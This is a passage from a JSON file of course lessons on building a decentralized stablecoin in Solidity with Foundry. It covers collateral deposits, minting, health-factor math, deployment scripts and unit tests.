IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n}\n```\n\n## Wrapping It Up\n\nIn conclusion, through this section, we have built an efficient deposit collateral function.\n\nAll the checks, such as ensuring the deposit is more than zero and the token is allowed, are done effectively. The state updates with the deposited collateral. Any interactions externally are safe from reentrancy attacks, ensuring a secure environment for our deposit function.\n\nAs seen above, to end the function, the function will emit a `CollateralDeposited` event.\n\n```js\nemit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);\n```\n\nThis will give us more information about when and where the deposit function is called, which aids in debugging and development of the blockchain.\n\nRemember, learning about the functioning of blockchain can be a bit intimidating. But by breaking down the different steps and understanding each process, you'll begin to see it's not as complicated as it may first seem. Happy coding!\n\n\n", + "updates": [] + }, + { + "lessonId": "3ce5a367-ce44-43f8-93e7-8a0028a5d16d", + "number": 7, + "title": "Creating the mint function", + "slug": "defi-mint-dsc", + "folderName": "7-defi-mint-dsc", + "description": "Explore the intricacies of creating a mint function in DeFi, focusing on its role, functionality, and integration within the DeFi ecosystem.", + "duration": 17, + "videoUrl": "X9OZfWnvmX5QpA8Ks8IQnbTNbuN4IocMCGu9A00Q7S8I", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/7-defi-mint-dsc/+page.md", + "markdownContent": "---\ntitle: Mint DSC\n---\n\n_Follow along the course with this video._\n\n\n\n# Building a Mechanism for Minting Decentralized StableCoin\n\nIn our exciting journey to developing a decentralized finance system, we have reached the point where we are now able to deposit collateral into our system. Now that we have successfully done this, the next logical step is for us to develop a function for minting our Decentralized StableCoin (DSC).\n\nThe minting function, by its nature, is substantially more complex than the deposit feature. It involves, among other things, checking if the collateral value is greater than the amount of DSC to be minted. This function must also take into consideration price feeds and other essential checks. Therefore, its implementation will be our primary focus in this lesson.\n\n## Creating the Mint DSC Function\n\nWe start by creating the `mintDsc` function, which accepts as its parameter a unsigned integer256, `amountDscToMint`. The parameter allows users to specify the amount of DSC they want to mint.\n\nLet's look at an illustrative scenario: A user deposits $200 worth of ETH as collateral. They may however only want to mint $20 worth of DSC. In this case, they can specify so using the `amountDSCtoMint` parameter.\n\n```javascript\nfunction mintDsc(unint256 amountDscToMint){}\n```\n\nNow we add checks to validate the functionality. It becomes mandatory to ensure that the users mint an amount greater than zero. Also, the function should be non-reentrant to ensure security and maintain control of function calls against the recursion, although in this case, non-reentrancy might not be strictly necessary as it's our DSC token. Don't forget NatSpec!\n\n```javascript\n /*\n * @param amountDscToMint: The amount of DSC you want to mint\n * You can only mint DSC if you hav enough collateral\n */\n function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {}\n```\n\n## Keeping Track of the Minted DSC\n\nThe minting process corresponds to creating debt within our system. Therefore, we will require to keep track of each user's minted DSC.\n\nA suitable way of achieving this is by creating a state variable to map an `address user` to the `uint256 amountDSCMinted`. This can be achieved as follows:\n\n```javascript\nmapping(address user => uint256 amountDscMinted) private s_DSCMinted;\n```\n\nOur newly created mapping, `s_DSCMinted`, will ensure we keep track of all the minted DSC. If, for instance, a user tries to mint more DSC than their deposited collateral can cover, our function should instantly revert. We will ensure this via a separate internal function named `revertIfHealthFactorIsBroken` that takes user as the input parameter.\n\n## Addressing the Health Factor & Account Information\n\nThis is where it gets a bit windy. The health factor is a term borrowed from the Aave documentation, which calculates how close to liquidation a user is. We can determine the ratio of collateral to DSC minted using a function called `getAccountInformation`.\n\n```javascript\n function _getAccountInformation(address user)\n private\n view\n returns (uint256 totalDscMinted, uint256 collateralValueInUsd)\n {\n totalDscMinted = s_DSCMinted[user];\n collateralValueInUsd = getAccountCollateralValue(user);\n }\n```\n\nTo check the health factor, we need to ensure the user's collateral value is greater than the DSC minted in USD. Consequently, we need yet another function, `getAccountCollateralValue`, to evaluate the collateral's total value.\n\n```javascript\n function getAccountCollateralValue(address user) public view returns (uint256 totalCollateralValueInUsd) {\n for (uint256 index = 0; index < s_collateralTokens.length; index++) {\n address token = s_collateralTokens[index];\n uint256 amount = s_collateralDeposited[user][token];\n totalCollateralValueInUsd += _getUsdValue(token, amount);\n }\n return totalCollateralValueInUsd;\n }\n```\n\nThe `getAccountInformation` and `getAccountCollateralValue` functions are quite straightforward, but the real challenge is evaluating the USD value.\n\n## Evaluating the USD Value\n\nTo get the USD value, we loop through each collateral token, fetch the corresponding deposited amount, and map it to its price in USD. Simple enough, right? This is accomplished by this `for loop`:\n\n```javascript\n for (uint256 index = 0; index < s_collateralTokens.length; index++) {\n address token = s_collateralTokens[index];\n uint256 amount = s_collateralDeposited[user][token];\n totalCollateralValueInUsd += _getUsdValue(token, amount);\n }\n```\n\nFinally, we need a way to get each token's value in USD to be added to the account's total collateral. How do we do that? You guessed it, another function `_getUsdValue`. We'll be leveraging Chainlink price feeds for our purposes.\n\n```javascript\n function _getUsdValue(address token, uint256 amount) private view returns (uint256) {\n AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);\n (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();\n // 1 ETH = 1000 USD\n // The returned value from Chainlink will be 1000 * 1e8\n // Most USD pairs have 8 decimals, so we will just pretend they all do\n // We want to have everything in terms of WEI, so we add 10 zeros at the end\n return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;\n }\n```\n\n## Wrapping Up\n\nWow, we've learnt a lot! This section was dense and complex, so don't hesitate to go back over what we've done here and really commit to understanding the workflow. In the next part we'll be learning about an account's `Health Factor` and how we use it grade a user's account health and available collateral.\n\n\n", + "updates": [] + }, + { + "lessonId": "e759be52-1320-4d27-b21f-5c6bb152c3b9", + "number": 8, + "title": "Creating and retrieving the health factor", + "slug": "defi-health-factor", + "folderName": "8-defi-health-factor", + "description": "Delve into the concept of 'Health Factor' in DeFi protocols, its calculation, significance, and impact on the stability and risk management of DeFi projects.", + "duration": 7, + "videoUrl": "7QlM6ZByORvzs5noZhWKubct9KiE59302k4JBQbiU1fc", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/8-defi-health-factor/+page.md", + "markdownContent": "---\ntitle: Health Factor\n---\n\n_Follow along the course with this video._\n\n\n\n# Upgrading the Health Factor Function of a DeFi Platform\n\nIn our previous discussions, we have looked at creating and integrating various parts needed for a _Decentralized Finance (DeFi)_ platform. Now, it's time to take a deeper dive into one of its critical components – the _Health Factor_.\n\nSo, let's get started!\n\n![](https://cdn.videotap.com/7XaXzANzYumN0wCD3MU5-19.89.png)\n\n## Working with The Health Factor\n\nThe health factor function presented a challenge as it was initially designed not to accomplish anything. However, we can now modify it as we have successfully integrated the Health Factor into our system. Here's what it should look like:\n\n```\nfunction updateHealthFactor() public {// function body}\n```\n\nNow that we have the _collateral value in USD_ and the _total USD minted_, our health factor can be retrieved by dividing the collateral value by the total amount minted. This would likely look something like this:\n\n```javascript\nreturn collateralValueInUSD / totalUSDMinted;\n```\n\n...if we didn't wan't to remain overcollateralized.\n\n## Understanding Overcollateralization\n\nIt is important to understand that we need to always maintain an overcollateralized state. The reason being, if the collateral value falls below 100, then our system becomes compromised. To prevent this, we should set a threshold.\n\nThis leads us to introduce the _liquidation threshold_, which can be created at the top. We add:\n\n```javascript\nuint256 private constant LIQUIDATION_THRESHOLD = 50; //200% overcollateralized\n```\n\nThis means for your collateral to be safe, it needs to maintain 200% overcollateralization.\n\n\n\nTo get our health factor, we will not directly divide the collateral value and the total amount minted. Solidity does not handle decimals, so dividing small amounts may return just 1, eliminating our desired precision.\n\n## Handling Precision\n\nTo ensure precision in the calculations, we need to adjust the collateral given the threshold.\n\n```javascript\nuint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / 100;\n```\n\nHere, the constant `liquidationThreshold` multiplies our collateral value, making our value bigger, hence the need to divide by 100 to ensure no floating numbers.\n\n## The Math Explained\n\nAt this point, the math may seem a bit tricky. Let’s illustrate this with two examples:\n\n1. If we have $1,000 worth of ETH and 100 DSC, the math would go as such:\n\n```javascript\n1000 (collateral in ETH) * 50 (liquidation threshold), divided by100 (liquidation precision) = 500 (collateralAdjustedForThreshold)\n```\n\n2. For $150 worth of ETH and $100 minted DSC:\n\n```javascript\n150 (collateral in ETH) * 50 (liquidation threshold), divided by100 (liquidation precision) = 75 (collateralAdjustedForThreshold)\n```\n\nTo find the correct health factor, let's divide the `collateralAdjustedForThreshold` by the `totalDscMinted`.\n\n```javascript\n function _healthFactor(address user) private view returns (uint256) {\n (uint256 totalDscMinted, uint256 collateralValueInUsd) = _getAccountInformation(user);\n return _calculateHealthFactor(totalDscMinted, collateralValueInUsd);\n }\n\n function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)\n internal\n pure\n returns (uint256)\n {\n if (totalDscMinted == 0) return type(uint256).max;\n uint256 collateralAdjustedForThreshold = (collateralValueInUsd * LIQUIDATION_THRESHOLD) / 100;\n return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;\n }\n```\n\n## Rounding Up\n\nOnce we sector in the health factor, we can now successfully execute the function `revertIfHealthFactorIsBroken` in our `mintDsc` function.\n\n```javascript\n function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {\n s_DSCMinted[msg.sender] += amountDscToMint;\n revertIfHealthFactorIsBroken(msg.sender);\n bool minted = i_dsc.mint(msg.sender, amountDscToMint);\n\n if (minted != true) {\n revert DSCEngine__MintFailed();\n }\n }\n```\n\nWith `MIN_HEALTH_FACTOR` being defined as 1:\n\n```javascript\n function revertIfHealthFactorIsBroken(address user) internal view {\n uint256 userHealthFactor = _healthFactor(user);\n if (userHealthFactor < MIN_HEALTH_FACTOR) {\n revert DSCEngine__BreaksHealthFactor(userHealthFactor);\n }\n }\n```\n\nIf the User's health factor is less than the minimum health factor, the function will revert, preventing any issues with the health factor.\n\nThis is a lot of math, but hopefully, it gives you a glimpse into the complexity of designing a robust DeFi platform. If any part of this discussion was unclear, please do not hesitate to reach out in the comments or run it with your AI to ensure it makes sense.\n\n## That's a wrap!\n\nAnd there we go! We've successfully upgraded our health factor function, ensuring absolute clarity and precision in the numbers. Remember, success in DeFi comes down to robust code and a precise understanding of the algorithms backing it up. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "58cb46b8-ad9f-4236-9074-26baa608d5a6", + "number": 9, + "title": "Finish the mint function", + "slug": "defi-wrap-mint-function", + "folderName": "9-defi-minting-the-dsc", + "description": "Complete the development of the mint function in DeFi, focusing on optimizing functionality, ensuring security, and integrating with the overall system.", + "duration": 2, + "videoUrl": "rKFynz9orcOh8sS6YN00sAPKxgsu4s2brQ1009wF2MplY", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/9-defi-minting-the-dsc/+page.md", + "markdownContent": "---\ntitle: Minting the DSC\n---\n\n_Follow along the course with this video._\n\n\n\n# New Fascinating Additions to the Mint DSC - Creating a Healthier User Experience\n\nLet's dive right into the heart of the matter. We last left off exploring the updates on Mint DSC. Previously, we discussed the intricacies of the code and delved into how the DSC mint function operates within this codebase. In this post, we are going to understand this process in depth, throw light on the health factor, and discuss the possibility of self-liquidation by users. We will also guide you on how to prevent users from minting DSC that might break the health factor.\n\n## Adding More Mint DSC\n\n\n\nNotably, if any addition to this DSC causes a break in the health factor, we should retreat immediately. Why should we back off? Because it's not a very user-friendly experience. It could lead to users causing themselves to get liquidated. Technically, we could go forward and let users carry out the act. However, it would not reflect well on overall user experience. Consequently, it's crucial that we prevent any user from minting DSC that could potentiate the health factor break.\n\n## DSC Mint Function - The Owner's Prerogative\n\nThe intricacies of the DSC Minting function deserves close scrutiny. Interesting to note, that the DSC has a `mint function` that can be invoked solely by its owner. The owner of this function, in this case, is the DSC engine.\n\nObserve the following code block from `DecentralizedStableCoin.sol`:\n\n```javascript\n function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {\n if (_to == address(0)) {\n revert DecentralizedStableCoin__NotZeroAddress();\n }\n if (_amount <= 0) {\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n _mint(_to, _amount);\n return true;\n }\n```\n\nThrough the above code, we notice that it returns a boolean. This boolean value enables us to understand if the minting was successful or not.\n\nThis function accepts two arguments - `address _to` and `uint256 _amount`. The `address _to` parameter is going to be assigned to the message sender and the `_amount` parameter will represent the amount of DSC being minted.\n\n## Error Checks in the Minting Process\n\nSo what happens when the minting process fails? This possibility is taken care of in the following code snippet:\n\n```javascript\n function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {\n s_DSCMinted[msg.sender] += amountDscToMint;\n revertIfHealthFactorIsBroken(msg.sender);\n bool minted = i_dsc.mint(msg.sender, amountDscToMint);\n\n if (minted != true) {\n revert DSCEngine__MintFailed();\n }\n }\n```\n\nIf the minting is not successful, signified by boolean value \"false\", the function reverts to an error. A new error title `DSCEngine__MintFailed()` is specified. Remember to create this error at the top of your script.\n\nIf the minting process fails, the function reverts to the error of `DSCEngine__MintFailed()`.\n\nRemember:\n\n\n\nIn conclusion, we have taken significant strides in enhancing the DSC and its related functions. These updates not only promote a healthier user experience but also prevent undesired system behaviors such as self-liquidation.\n\nDive into the code, brush up your knowledge, and let's continue exploring the ever-evolving world of coding together!\n", + "updates": [] + }, + { + "lessonId": "69e2f5d9-446d-4996-873d-4d81dc757843", + "number": 10, + "title": "Creating the deployment script", + "slug": "defi-deploy-script", + "folderName": "10-defi-deploy-script", + "description": "Learn the process of creating a deploy script for DeFi projects, including setup, configuration, and deploying smart contracts to the blockchain.", + "duration": 15, + "videoUrl": "z01JK10202V4802ShIJrCiGNorPfyn6wZ2FRyIpthlmOp9o", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/10-defi-deploy-script/+page.md", + "markdownContent": "---\ntitle: Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n# Testing and Deployment\n\nWe've done a lot, so far and it's getting really complex. Now's a great time to perform a sanity check and write some tests.\n\n## 1. The Importance of Testing\n\n_I have no idea if what I'm doing makes any sort of sense. I want to make sure I write some tests here._\n\nTesting is crucial to ensure that our code is functioning as intended. We can go ahead and create a new folder under 'test' named 'unit'. If you wish, you could skip writing the scripts and deploy in your unit tests. In our scenario, we'll have our unit tests also serve as our integration tests.\n\n## 2. Deploying DSC\n\nTo set the ball rolling, let's write a script to deploy our DSC. Here is a snippet of how this might look:\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\ncontract DeployDSC is Script {\n function run() external returns (DecentralizedStableCoin, DSCEngine, HelperConfig){\n //Code here\n }\n }\n```\n\nThe `run` function is going to return a few things such as the DSC and the DSCEngine. To import our DSC, we're going to use the following line of code:\n\n```javascript\nimport { DecentralizedStableCoin } from \"../src/DecentralizedStableCoin.sol\";\n```\n\nYour `run()` function may look something like this:\n\n```javascript\n function run() external returns (DecentralizedStableCoin, DSCEngine, HelperConfig) {\n HelperConfig helperConfig = new HelperConfig(); // This comes with our mocks!\n\n (address wethUsdPriceFeed, address wbtcUsdPriceFeed, address weth, address wbtc, uint256 deployerKey) =\n helperConfig.activeNetworkConfig();\n tokenAddresses = [weth, wbtc];\n priceFeedAddresses = [wethUsdPriceFeed, wbtcUsdPriceFeed];\n\n vm.startBroadcast(deployerKey);\n DecentralizedStableCoin dsc = new DecentralizedStableCoin();\n DSCEngine dscEngine = new DSCEngine(\n tokenAddresses,\n priceFeedAddresses,\n address(dsc)\n );\n```\n\nThe DSCEngine plays a critical role in our contract. However, deploying it involves a lot of parameters, making the task a bit complicated. It takes parameters such as `tokenAddresses`, `priceFeedAddresses`, and the DSC address.\n\nThe question then arises, where do we get these addresses from ?\n\nHere, a HelperConfig saves the day.\n\n## 4. HelperConfig\n\nThe HelperConfig will provide us with the addresses needed by the DSCEngine.\n\nHere is a little sneak-peek into the helper config file:\n\n```javascript\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {MockV3Aggregator} from \"../test/mocks/MockV3Aggregator.sol\";\nimport {Script} from \"forge-std/Script.sol\";\nimport {ERC20Mock} from \"@openzeppelin/contracts/mocks/ERC20Mock.sol\";\n\ncontract HelperConfig is Script {\n NetworkConfig public activeNetworkConfig;\n\n uint8 public constant DECIMALS = 8;\n int256 public constant ETH_USD_PRICE = 2000e8;\n int256 public constant BTC_USD_PRICE = 1000e8;\n\n struct NetworkConfig {\n address wethUsdPriceFeed;\n address wbtcUsdPriceFeed;\n address weth;\n address wbtc;\n uint256 deployerKey;\n }\n\n uint256 public DEFAULT_ANVIL_PRIVATE_KEY = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;\n\n constructor() {\n if (block.chainid == 11155111) {\n activeNetworkConfig = getSepoliaEthConfig();\n } else {\n activeNetworkConfig = getOrCreateAnvilEthConfig();\n }\n }\n```\n\nThe `getSepoliaEthConfig` function returns the network configuration for Sepolia:\n\n```javascript\nfunction getSepoliaEthConfig() public view returns (NetworkConfig memory sepoliaNetworkConfig) {\n sepoliaNetworkConfig = NetworkConfig({\n wethUsdPriceFeed: 0x694AA1769357215DE4FAC081bf1f309aDC325306, // ETH / USD\n wbtcUsdPriceFeed: 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43,\n weth: 0xdd13E55209Fd76AfE204dBda4007C227904f0a81,\n wbtc: 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063,\n deployerKey: vm.envUint(\"PRIVATE_KEY\")\n });\n }\n```\n\nThe `getOrCreateAnvilEthConfig` function either returns the existing anvil configuration or creates a new one.\n\n```javascript\nfunction getOrCreateAnvilEthConfig() public returns (NetworkConfig memory anvilNetworkConfig) {\n // Check to see if we set an active network config\n if (activeNetworkConfig.wethUsdPriceFeed != address(0)) {\n return activeNetworkConfig;\n }\n\n vm.startBroadcast();\n MockV3Aggregator ethUsdPriceFeed = new MockV3Aggregator(\n DECIMALS,\n ETH_USD_PRICE\n );\n ERC20Mock wethMock = new ERC20Mock(\"WETH\", \"WETH\", msg.sender, 1000e8);\n\n MockV3Aggregator btcUsdPriceFeed = new MockV3Aggregator(\n DECIMALS,\n BTC_USD_PRICE\n );\n ERC20Mock wbtcMock = new ERC20Mock(\"WBTC\", \"WBTC\", msg.sender, 1000e8);\n vm.stopBroadcast();\n\n anvilNetworkConfig = NetworkConfig({\n wethUsdPriceFeed: address(ethUsdPriceFeed), // ETH / USD\n weth: address(wethMock),\n wbtcUsdPriceFeed: address(btcUsdPriceFeed),\n wbtc: address(wbtcMock),\n deployerKey: DEFAULT_ANVIL_PRIVATE_KEY\n });\n }\n```\n\n## 5. Final Steps\n\nWe're almost there. Having obtained the needed addresses from our HelperConfig, we can now return to our DeployDSC script. We can import HelperConfig like so:\n\n```javascript\nimport { HelperConfig } from \"./HelperConfig.s.sol\";\n```\n\nOnce imported, if we look back to our run function, we can see we pull the addresses from the `activeNetworkConfiguration` of our HelperConfig and then create the arrays for token addresses and price feeds.\n\n```javascript\n function run() external returns (DecentralizedStableCoin, DSCEngine, HelperConfig) {\n HelperConfig helperConfig = new HelperConfig(); // This comes with our mocks!\n\n (address wethUsdPriceFeed, address wbtcUsdPriceFeed, address weth, address wbtc, uint256 deployerKey) =\n helperConfig.activeNetworkConfig();\n tokenAddresses = [weth, wbtc];\n priceFeedAddresses = [wethUsdPriceFeed, wbtcUsdPriceFeed];\n\n vm.startBroadcast(deployerKey);\n DecentralizedStableCoin dsc = new DecentralizedStableCoin();\n DSCEngine dscEngine = new DSCEngine(\n tokenAddresses,\n priceFeedAddresses,\n address(dsc)\n );\n dsc.transferOwnership(address(dscEngine));\n vm.stopBroadcast();\n return (dsc, dscEngine, helperConfig);\n```\n\nWith our arrays in place, we're ready to deploy our DSCEngine. Our last step involves transferring ownership of the deployed contract to the DSCEngine, in this line:\n\n```javascript\ndsc.transferOwnership(address(engine));\n```\n\nOnly the engine can now interact with the DSC.\n\n## 6. Conclusion\n\nWow, we've covered a lot and we have so much more to go. In this section we set up a HelperConfig to assist us with assigning network and token addresses. We also wrote a deployment script which uses that HelperConfig to deploy our contract AND we assign ownership of that contract to our DSCEngine. Whew, take a break - you've earned it!\n", + "updates": [] + }, + { + "lessonId": "1e420664-a74f-4b4c-b057-af62356da282", + "number": 11, + "title": "Test the DSCEngine smart contract", + "slug": "test-defi-protocol", + "folderName": "11-defi-tests", + "description": "Understand the process and importance of testing DSCEngine smart contracts in DeFi, including methodologies, best practices, and common test scenarios.", + "duration": 12, + "videoUrl": "28W2LRJrFV1aKxYFHqr7UlxsTPV01pesWOdHVu3zWQtg", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/11-defi-tests/+page.md", + "markdownContent": "---\ntitle: Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Developing Unit Tests for Smart Contracts using Deploy Scripts\n\nHello, developers! In the process of writing our smart contracts, it's incredibly crucial that we have a comprehensive testing suite. Recently, I came across a method that could potentially streamline your testing process. By incorporating the use of deploy scripts into the creation of our unit tests, we can test as we write our code, thereby making the entire development process much smoother. Intrigued yet? Let's dive right in!\n\n## Starting with Preliminaries: DSCEngine Test\n\nBefore we can begin testing, let's first establish why we are doing this in the first place. If you recall, our DSCEngine has a series of functions that we must validate. Functions such as `getUsdValue`, `getAccountCollateralValue` are crucial to check. Moreover, we also need to ensure that Minting, the constructor, and depositing work effectively.\n\nAs we embark on testing these functions, we will concurrently write tests and deploy scripts to ensure that glaring mistakes are spotted immediately—ideally reducing the need to refactor or rewrite code. The biggest advantage here is that an improved confidence in the correctness of your code can directly speed up your coding process.\n\nWe'll start by setting up the `DSCEngineTest.t.sol` contract.\n\n```javascript\n//SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\nimport {Test} from \"forge-std/Test.sol\";\n\n\nContract DSCEngineTest is Test {\n\n}\n```\n\nIn the function `setUp`, we'll need to deploy our contract. We do this by importing `DeployDSC` from the `DeployDSC.s.sol` file and then creating a new instance of `DeployDSC` called `deployer`. On top of that, we'll also need to import the `DecentralizedStableCoin` and `DSCEngine` contracts from their respective solidity files.\n\n```javascript\n//SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\nimport {Test} from \"forge-std/Test.sol\";\nimport {DeployDSC} from \"../../script/DeployDSC.s.sol\";\nimport {DSCEngine} from \"../../src/DSCEngine.sol\";\nimport {DecentralizedStableCoin} from \"../../src/DecentralizedStableCoin.sol\";\nimport {HelperConfig} from \"../../script/HelperConfig.s.sol\";\n\n\nContract DSCEngineTest is Test {\n DeployDSC deployer;\n DecentralizedStableCoin dsc;\n DSCEngine dsce;\n HelperConfig config;\n\n function setUp() public {\n deployer = new DeployDSC();\n (dsc, dsce, config) = deployer.run();\n }\n}\n```\n\nPlease note: It is pretty handy to use GitHub copilot or any AI that you prefer to assist in these scenarios.\n\n## Establishing the First Test: Price Feeds\n\nWith our contract now set up, let's move on to creating the first actual test. Here, we want to validate our `getUsdValue` function.\n\n```javascript\nfunction testGetUsdValue() public {\n //Test goes here//\n}\n```\n\nFor this particular test, we need to pass a token address and an amount. We can easily fetch these tokens from our `helperConfig`. Also, let's handle the `ethUsdPriceFeed` and `weth` at this stage.\n\n```javascript\nContract DSCEngineTest is Test {\n DeployDSC deployer;\n DecentralizedStableCoin dsc;\n DSCEngine dsce;\n HelperConfig config;\n address ethUsdPriceFeed;\n address weth;\n\n ...\n\n}\n\n```\n\nIn the `setUp` function, we'll get the `weth` and `ethUsdPriceFeed` addresses from the HelperConfig, like so:\n\n```javascript\n (ethUsdPriceFeed,, weth,,) = config.activeNetworkConfig();\n```\n\nNext, let's calculate the expected USD value assuming that there are 15 ETH, each priced at $2,000. The calculation would be simple: `15ETH * $2000 per ETH = $30,000`. Afterward, we call the `getusdvalue` function on the DSC engine and compare the expected and actual USD amounts. The test function should look something like this:\n\n```javascript\n function testGetUsdValue() public {\n uint256 ethAmount = 15e18;\n // 15e18 ETH * $2000/ETH = $30,000e18\n uint256 expectedUsd = 30000e18;\n uint256 usdValue = dsce.getUsdValue(weth, ethAmount);\n assertEq(usdValue, expectedUsd);\n }\n```\n\nWe can run this test by using the following command in our terminal:\n\n```bash\nforge test -mt testGetUsdValue\n```\n\n...and if everything went smoothly, it should pass! Great work!\n\nThe previous section might appear as lots of steps for a single test, but I have found this approach of integrating my deploy scripts into my test suite from the beginning quite helpful. However, depending on your project needs, you may choose to use them as integration tests.\n\n## Dealing with Depositing Collateral\n\nWith our first test written and running fine, let's shift our focus to the next critical function, `depositCollateral`. For this test, we'll imitate a user and deposit collateral. Here, we are taking advantage of the prank functionality to temporarily modify the global state.\n\n```javascript\n function testRevertsIfCollateralZero() public {\n vm.startPrank(user);\n ERC20Mock(weth).approve(address(dsce), amountCollateral);\n\n vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);\n dsce.depositCollateral(weth, 0);\n vm.stopPrank();\n }\n```\n\nThinking about it, we may want to mint the user some weth. As this could be used in more than one test, it would be efficient to do this right in the setup. Doing this in the setup ensures that it won't have to be performed for every single test. Don't forget to import `ERC20Mock` from OpenZeppelin for this.\n\nImport\n\n```javascript\nimport { ERC20Mock } from \"@openzeppelin/contracts/mocks/ERC20Mock.sol\";\n```\n\nsetUp\n\n```javascript\n uint256 amountCollateral = 10 ether;\n uint256 public constant STARTING_USER_BALANCE = 10 ether;\n\n function setUp() external {\n DeployDSC deployer = new DeployDSC();\n (dsc, dsce, helperConfig) = deployer.run();\n (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();\n\n ERC20Mock(weth).mint(user, STARTING_USER_BALANCE);\n ERC20Mock(wbtc).mint(user, STARTING_USER_BALANCE);\n }\n```\n\nFor now, I am content with these tests. However, eventually, we will likely need a test for collateral being deposited into these data structures. Then again, testing is a continuous process. As you write your code, keep writing tests and _don't stop_. Remember, there isn't an absolute, singular process that works for all, but experimenting and finding what works for you is the key.\n\nI hope you enjoyed this in-depth tutorial on writing unit tests for your smart contracts using deploy scripts. Incorporating these practices can significantly aid you in constructing robust, error-free smart contracts. Experience the difference today! Happy coding!\n\n\n", + "updates": [] + }, + { + "lessonId": "8a83df4b-a80d-4593-a713-c8bfc26bfb6b", + "number": 12, + "title": "Create the depositAndMint function", + "slug": "defi-deposit-and-mint-function", + "folderName": "12-defi-deposit-and-mint", + "description": "This lesson focuses on developing a combined deposit and mint function in DeFi, emphasizing its efficiency and integration into the DeFi framework.", + "duration": 3, + "videoUrl": "4EwEFMZPS01KISCQVCyassnpSvfgycWeBPiUEN4NuVkU", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/12-defi-deposit-and-mint/+page.md", + "markdownContent": "---\ntitle: depositCollateralAndMintDSC\n---\n\n_Follow along the course with this video._\n\n\n\n# Adding Functionality to Our Smart Contract: One-Stop for Depositing Collateral and Minting DSC\n\nWelcome back! As we continue down the road on our smart contract journey, we've now arrived at an important crossroads. To refresh your memory, we've successfully developed a method for depositing collateral and a separate procedure for minting our native token, the DSC.\n\nOur tests here have been exploratory in nature and although we're assuming these functions are operationally sound, we have yet to put them under the microscope of an extensive unit test suite. However, now we're making substantial progress!\n\n## Where We Are\n\nBy now, we've not only created a way to deposit collateral and mint our DSC token, but also we've allowed for substantial access to critical information concerning our financial ecosystem. This is great! Yet, our journey is far from over. Our next step is to merge the deposit and mint mechanisms into a function we anticipate many of our protocol participants will frequently utilize — `depositCollateralAndMintDsc()`.\n\n### Why this Function?\n\nThis function is strategically important for our protocol, primarily because its purpose directly aligns with the key flow of our system: users deposit collateral and mint DSC. It combines both operations in a swift, efficient, and convenient manner. Swift and efficient because it accomplishes both operations in one transaction. Convenient because users are spared the requirement of separately interacting with two operations: `mint` and `depositCollateral`.\n\nWithout further ado, let's dive into the implementation of this function.\n\n### Merging `mint` and `depositCollateral` Functions\n\n```javascript\n function depositCollateralAndMintDsc(\n address tokenCollateralAddress,\n uint256 amountCollateral,\n uint256 amountDscToMint)\n external {\n\n depositCollateral(tokenCollateralAddress, amountCollateral);\n mintDSC(amountDscToMint);\n }\n```\n\nNote that we've shifted `depositCollateral()` and `mintDSC()` from being external to public functions, enabling them to be called within our smart contract.\n\n```javascript\n function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) public {\n //implementation\n }\n function mintDSC(uint256 amountDscToMint) public {\n //implementation\n }\n```\n\n### Adding NatSpec\n\nAs usual, we'll garnish our function with NatSpec comments to bring more clarity to our code. As we annotate `depositCollateralAndMintDsc()`, GitHub Copilot, the AI code-completion tool, proves to be a great companion.\n\n```javascript\n /*\n * @param tokenCollateralAddress: The address of the token to be deposited as collateral\n * @param amountCollateral: The amount of collateral to deposit\n * @param amountDscToMint The amount of DecentralizedStableCoin to mint\n * @notice This function will deposit your collateral and mint DSC in one transaction\n */\n function depositCollateralAndMintDSC(address tokenCollateralAddress, uint256 amountCollateral, uint256 amountDSCToMint) public {...}\n```\n\nTo paraphrase poet Oliver Holmes, we're staking out the distance between the goal and where we are now. A large chunk of our protocol now focuses on the simultaneous depositing of collateral and minting of our native stablecoin, DSC, all within one user-friendly function. We're making a major stride into simplifying and optimizing the protocol user experience.\n\n\n", + "updates": [] + }, + { + "lessonId": "5cdf96d4-5a9f-48c4-9394-c33bacea8604", + "number": 13, + "title": "Create the redeem collateral function", + "slug": "defi-how-to-redeem-collateral", + "folderName": "13-defi-redeem-collateral", + "description": "Explore the development of a function for redeeming collateral in DeFi, including its significance, operational process, and impact on users.", + "duration": 12, + "videoUrl": "AVCvDHe02NVRIcXwpBnSvoYakCLqXsn4IkPdFz2UEEwU", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/13-defi-redeem-collateral/+page.md", + "markdownContent": "---\ntitle: Redeem Collateral\n---\n\n_Follow along the course with this video._\n\n\n\n# Deconstructing the 'Redeem 